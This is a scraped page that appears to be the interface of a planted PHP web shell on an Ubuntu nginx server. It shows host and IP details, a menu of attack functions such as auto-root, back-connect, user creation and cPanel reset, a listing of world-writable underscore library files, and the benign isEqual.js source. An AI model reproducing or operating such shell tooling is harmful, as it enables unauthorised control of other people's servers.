Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
underscore /
cjs /
[ HOME SHELL ]
Name
Size
Permission
Action
_apply.js
152
B
-rw-rw-rw-
_applyProperty.js
318
B
-rw-rw-rw-
_arrayAccessors.js
241
B
-rw-rw-rw-
_arrayMutators.js
477
B
-rw-rw-rw-
_baseCreate.js
560
B
-rw-rw-rw-
_baseIteratee.js
804
B
-rw-rw-rw-
_binarySearch.js
514
B
-rw-rw-rw-
_bindCb.js
306
B
-rw-rw-rw-
_bindCb4.js
479
B
-rw-rw-rw-
_byValue.js
207
B
-rw-rw-rw-
_cb.js
463
B
-rw-rw-rw-
_chainResult.js
237
B
-rw-rw-rw-
_collectNonEnumProps.js
1.35
KB
-rw-rw-rw-
_createAssigner.js
601
B
-rw-rw-rw-
_createEscaper.js
625
B
-rw-rw-rw-
_createIndexFinder.js
1016
B
-rw-rw-rw-
_createPredicateIndexFinder.js
550
B
-rw-rw-rw-
_createReduce.js
1.05
KB
-rw-rw-rw-
_createSizePropertyCheck.js
393
B
-rw-rw-rw-
_deepGet.js
292
B
-rw-rw-rw-
_escapeMap.js
194
B
-rw-rw-rw-
_executeBound.js
609
B
-rw-rw-rw-
_extremum.js
1.54
KB
-rw-rw-rw-
_flatten.js
1014
B
-rw-rw-rw-
_forceNumericMinMax.js
445
B
-rw-rw-rw-
_getByteLength.js
212
B
-rw-rw-rw-
_getLength.js
196
B
-rw-rw-rw-
_greater.js
158
B
-rw-rw-rw-
_group.js
475
B
-rw-rw-rw-
_has.js
228
B
-rw-rw-rw-
_hasObjectTag.js
119
B
-rw-rw-rw-
_isArrayLike.js
466
B
-rw-rw-rw-
_isBufferLike.js
325
B
-rw-rw-rw-
_keyInObj.js
196
B
-rw-rw-rw-
_less.js
152
B
-rw-rw-rw-
_lessEqual.js
164
B
-rw-rw-rw-
_linearSearch.js
1.05
KB
-rw-rw-rw-
_mapReduce.js
1
B
-rw-rw-rw-
_methodFingerprint.js
1.67
KB
-rw-rw-rw-
_optimizeCb.js
825
B
-rw-rw-rw-
_push.js
160
B
-rw-rw-rw-
_pusher.js
213
B
-rw-rw-rw-
_sequence.js
341
B
-rw-rw-rw-
_setup.js
2.44
KB
-rw-rw-rw-
_shallowProperty.js
222
B
-rw-rw-rw-
_slice.js
163
B
-rw-rw-rw-
_strictEqual.js
94
B
-rw-rw-rw-
_stringTagBug.js
574
B
-rw-rw-rw-
_tagTester.js
275
B
-rw-rw-rw-
_toBufferView.js
387
B
-rw-rw-rw-
_toPath.js
252
B
-rw-rw-rw-
_unescapeMap.js
202
B
-rw-rw-rw-
_unmethodize.js
180
B
-rw-rw-rw-
_wrapArrayAccessor.js
500
B
-rw-rw-rw-
_wrapArrayMutator.js
1000
B
-rw-rw-rw-
after.js
231
B
-rw-rw-rw-
allKeys.js
438
B
-rw-rw-rw-
before.js
311
B
-rw-rw-rw-
bind.js
559
B
-rw-rw-rw-
bindAll.js
639
B
-rw-rw-rw-
chain.js
221
B
-rw-rw-rw-
chunk.js
387
B
-rw-rw-rw-
clone.js
309
B
-rw-rw-rw-
compact.js
170
B
-rw-rw-rw-
compose.js
411
B
-rw-rw-rw-
concat.js
166
B
-rw-rw-rw-
constant.js
172
B
-rw-rw-rw-
contains.js
428
B
-rw-rw-rw-
countBy.js
376
B
-rw-rw-rw-
create.js
409
B
-rw-rw-rw-
debounce.js
1.21
KB
-rw-rw-rw-
defaults.js
221
B
-rw-rw-rw-
defer.js
276
B
-rw-rw-rw-
delay.js
325
B
-rw-rw-rw-
difference.js
515
B
-rw-rw-rw-
each.js
741
B
-rw-rw-rw-
escape.js
224
B
-rw-rw-rw-
every.js
554
B
-rw-rw-rw-
extend.js
233
B
-rw-rw-rw-
extendOwn.js
336
B
-rw-rw-rw-
filter.js
373
B
-rw-rw-rw-
find.js
412
B
-rw-rw-rw-
findIndex.js
227
B
-rw-rw-rw-
findKey.js
406
B
-rw-rw-rw-
findLastIndex.js
235
B
-rw-rw-rw-
findWhere.js
297
B
-rw-rw-rw-
first.js
421
B
-rw-rw-rw-
flatten.js
299
B
-rw-rw-rw-
functions.js
291
B
-rw-rw-rw-
get.js
518
B
-rw-rw-rw-
groupBy.js
367
B
-rw-rw-rw-
has.js
542
B
-rw-rw-rw-
identity.js
133
B
-rw-rw-rw-
index-default.js
227
B
-rw-rw-rw-
index.js
8.65
KB
-rw-rw-rw-
indexBy.js
279
B
-rw-rw-rw-
indexOf.js
468
B
-rw-rw-rw-
initial.js
380
B
-rw-rw-rw-
intersection.js
599
B
-rw-rw-rw-
invert.js
325
B
-rw-rw-rw-
invoke.js
875
B
-rw-rw-rw-
isArguments.js
448
B
-rw-rw-rw-
isArray.js
247
B
-rw-rw-rw-
isArrayBuffer.js
126
B
-rw-rw-rw-
isBoolean.js
218
B
-rw-rw-rw-
isDataView.js
565
B
-rw-rw-rw-
isDate.js
105
B
-rw-rw-rw-
isElement.js
132
B
-rw-rw-rw-
isEmpty.js
669
B
-rw-rw-rw-
isEqual.js
5.45
KB
-rw-rw-rw-
isError.js
108
B
-rw-rw-rw-
isFinite.js
249
B
-rw-rw-rw-
isFunction.js
584
B
-rw-rw-rw-
isMap.js
305
B
-rw-rw-rw-
isMatch.js
424
B
-rw-rw-rw-
isNaN.js
203
B
-rw-rw-rw-
isNull.js
109
B
-rw-rw-rw-
isNumber.js
111
B
-rw-rw-rw-
isObject.js
174
B
-rw-rw-rw-
isRegExp.js
111
B
-rw-rw-rw-
isSet.js
305
B
-rw-rw-rw-
isString.js
111
B
-rw-rw-rw-
isSymbol.js
111
B
-rw-rw-rw-
isTypedArray.js
767
B
-rw-rw-rw-
isUndefined.js
120
B
-rw-rw-rw-
isWeakMap.js
321
B
-rw-rw-rw-
isWeakSet.js
114
B
-rw-rw-rw-
iteratee.js
455
B
-rw-rw-rw-
join.js
160
B
-rw-rw-rw-
keys.js
591
B
-rw-rw-rw-
last.js
384
B
-rw-rw-rw-
lastIndexOf.js
322
B
-rw-rw-rw-
map.js
582
B
-rw-rw-rw-
mapObject.js
552
B
-rw-rw-rw-
matcher.js
327
B
-rw-rw-rw-
max.js
978
B
-rw-rw-rw-
memoize.js
436
B
-rw-rw-rw-
min.js
974
B
-rw-rw-rw-
mixin.js
620
B
-rw-rw-rw-
negate.js
187
B
-rw-rw-rw-
noop.js
112
B
-rw-rw-rw-
now.js
163
B
-rw-rw-rw-
object.js
552
B
-rw-rw-rw-
omit.js
751
B
-rw-rw-rw-
once.js
262
B
-rw-rw-rw-
pairs.js
372
B
-rw-rw-rw-
partial.js
1009
B
-rw-rw-rw-
partition.js
315
B
-rw-rw-rw-
pick.js
899
B
-rw-rw-rw-
pluck.js
238
B
-rw-rw-rw-
pop.js
157
B
-rw-rw-rw-
property.js
383
B
-rw-rw-rw-
propertyOf.js
288
B
-rw-rw-rw-
push.js
160
B
-rw-rw-rw-
random.js
233
B
-rw-rw-rw-
range.js
583
B
-rw-rw-rw-
reduce.js
201
B
-rw-rw-rw-
reduceRight.js
187
B
-rw-rw-rw-
reject.js
289
B
-rw-rw-rw-
rest.js
332
B
-rw-rw-rw-
restArguments.js
1.12
KB
-rw-rw-rw-
result.js
764
B
-rw-rw-rw-
reverse.js
169
B
-rw-rw-rw-
sample.js
1.01
KB
-rw-rw-rw-
shift.js
163
B
-rw-rw-rw-
shuffle.js
148
B
-rw-rw-rw-
size.js
269
B
-rw-rw-rw-
slice.js
163
B
-rw-rw-rw-
some.js
563
B
-rw-rw-rw-
sort.js
160
B
-rw-rw-rw-
sortBy.js
702
B
-rw-rw-rw-
sortedIndex.js
577
B
-rw-rw-rw-
sortedLastIndex.js
433
B
-rw-rw-rw-
splice.js
166
B
-rw-rw-rw-
tap.js
303
B
-rw-rw-rw-
template.js
2.83
KB
-rw-rw-rw-
templateSettings.js
370
B
-rw-rw-rw-
throttle.js
1.44
KB
-rw-rw-rw-
times.js
300
B
-rw-rw-rw-
toArray.js
733
B
-rw-rw-rw-
toPath.js
308
B
-rw-rw-rw-
toString.js
243
B
-rw-rw-rw-
underscore-array-methods.js
984
B
-rw-rw-rw-
underscore.js
802
B
-rw-rw-rw-
unescape.js
238
B
-rw-rw-rw-
union.js
349
B
-rw-rw-rw-
uniq.js
1.21
KB
-rw-rw-rw-
uniqueId.js
250
B
-rw-rw-rw-
unshift.js
169
B
-rw-rw-rw-
unzip.js
475
B
-rw-rw-rw-
value.js
346
B
-rw-rw-rw-
values.js
308
B
-rw-rw-rw-
where.js
295
B
-rw-rw-rw-
without.js
307
B
-rw-rw-rw-
wrap.js
313
B
-rw-rw-rw-
zip.js
241
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : isEqual.js
var _setup = require('./_setup.js'); var isFunction = require('./isFunction.js'); var _has = require('./_has.js'); var keys = require('./keys.js'); var underscore = require('./underscore.js'); var _getByteLength = require('./_getByteLength.js'); var _stringTagBug = require('./_stringTagBug.js'); var _toBufferView = require('./_toBufferView.js'); var isDataView = require('./isDataView.js'); var isTypedArray = require('./isTypedArray.js'); // We use this string twice, so give it a name for minification. var tagDataView = '[object DataView]'; // Internal recursive comparison function for `_.isEqual`. function eq(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // `null` or `undefined` only equal to itself (strict comparison). if (a == null || b == null) return false; // `NaN`s are equivalent, but non-reflexive. if (a !== a) return b !== b; // Exhaust primitive checks var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; return deepEq(a, b, aStack, bStack); } // Internal recursive comparison function for `_.isEqual`. function deepEq(a, b, aStack, bStack) { // Unwrap any wrapped objects. if (a instanceof underscore) a = a._wrapped; if (b instanceof underscore) b = b._wrapped; // Compare `[[Class]]` names. var className = _setup.toString.call(a); if (className !== _setup.toString.call(b)) return false; // Work around a bug in IE 10 - Edge 13. if (_stringTagBug.hasStringTagBug && className == '[object Object]' && isDataView(a)) { if (!isDataView(b)) return false; className = tagDataView; } switch (className) { // These types are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN. if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` are not equivalent. return +a === +b; case '[object Symbol]': return _setup.SymbolProto.valueOf.call(a) === _setup.SymbolProto.valueOf.call(b); case '[object ArrayBuffer]': case tagDataView: // Coerce to typed array so we can fall through. return deepEq(_toBufferView(a), _toBufferView(b), aStack, bStack); } var areArrays = className === '[object Array]'; if (!areArrays && isTypedArray(a)) { var byteLength = _getByteLength(a); if (byteLength !== _getByteLength(b)) return false; if (a.buffer === b.buffer && a.byteOffset === b.byteOffset) return true; areArrays = true; } if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(isFunction(aCtor) && aCtor instanceof aCtor && isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var _keys = keys(a), key; length = _keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (keys(b).length !== length) return false; while (length--) { // Deep compare each member key = _keys[length]; if (!(_has(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; } // Perform a deep comparison to check if two objects are equal. function isEqual(a, b) { return eq(a, b); } module.exports = isEqual;
Close